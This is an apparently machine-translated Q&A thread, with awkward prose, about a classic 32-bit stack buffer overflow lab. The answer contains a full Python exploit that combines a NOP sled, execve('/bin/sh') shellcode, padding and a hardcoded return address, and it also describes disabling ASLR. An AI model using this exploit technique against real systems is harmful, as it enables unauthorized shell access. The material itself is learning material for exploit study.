2017-08-12 50 views
0

这种结构所以,我想下面的教程:https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/为什么的利用

我首先要弄清楚攻击代码的顺序挣扎,至少以某种方式。

我没有理由首先放置NOPS,然后只是Shell代码,我找不到原因是不先将shellcode放入buf中,然后再放入垃圾+ ret地址。 我认为这是保存内存地址的计算,但这是真的吗? 是不是更简单的工作与你已经得到的堆栈(就像不去超越返回地址)? 为什么不使恶意缓冲区成为: Shellcode + Junk + ret-address(到shellcode开头)?是因为有些复杂的内存地址计算...?希望我明确自己。

预先感谢您。

编辑:

的相同例子(等同于我跑的代码):

https://github.com/jivoi/junk/blob/master/pwnerrank/binary-exploitation/stack-based-buffer-overflow-code-execution.c

+0

是不是将ASLR的回收移除给randomize_va_space?我已经这样做了,是否还有更多可能的功能被禁用?如果是这样,那么它没有给出根shell,对吗? 我认为它是禁用与它给gcc和回声的选项,并没有任何特殊的做到这一点.. 无论如何,你怎么看我所问的shellcode结构? :D谢谢! – Jonathan

+0

我的不好,我太快掠过了!你在Ubuntu 12.04 x86上这样做,而不是在现代x86_64发行版上,对吧? –

+0

正确!我在12.04 x86 ubuntu上运行它:) – Jonathan

回答

0

我找到了解决我的问题。

因此,首先,只有在栈的范围内才可以利用它(这意味着我只使用位于栈中的缓冲区和返回地址之间的内存,以便执行代码) ,它确实需要一些额外的计算,但它感觉它有点“更清洁”,可能没有区别,但它仍然有效。

与非shell的问题只是我没有注意到,我没有实际sudo'd“回声0>/proc/sys /内核/ randomize_va_space”,它没有运行。

我添加了仅使用堆栈的漏洞利用代码。 我必须找到ESP,首先放100个NOP,然后是代码,然后是一些垃圾(A),最后是返回地址。

我知道使用以下尺寸: 我知道我是否垃圾'的东西到返回地址(包括),这将是268 + 4(272)字节。 另外,我的shellcode长度为25个字节,NOP长度为100个字节。我还必须记住,返回地址是4字节长,所以总共:

我需要填写:首先100个字节的NOP,然后,25个字节的shell代码,然后我剩下还没有被计算的垃圾块,最后4个字节的返回地址。

我可以得出结论:垃圾块需要是: 272-(100 + 25 + 4)= 143字节长。 所以,我做的是复制“A”143次。

地址0xbffff164源自这样的事实,即缓冲区的起始位置是0xbffff210-272,并且由于前100个字节用于NOP,因此我们将添加100,最后以0xbffff164结束。

这是我留下的代码,它利用相同的漏洞,只是没有超出返回地址(不知道它是否重要,虽然它需要更多的计算):

#exp.py 
#!/usr/bin/env python 
import struct 
from subprocess import call 

#Stack address where shellcode is copied. 
ret_addr = 0xbffff210 # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be) 

#Spawn a shell 
#execve(/bin/sh) 
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" 

#endianess convertion 
def conv(num): 
return struct.pack("<I",num) 

buf = "\x90" * 100 
buf += scode 
buf += "A"*143 
buf += conv(0xbffff164) 

print "Calling vulnerable program" 
call(["./vuln", buf]) 
相关问题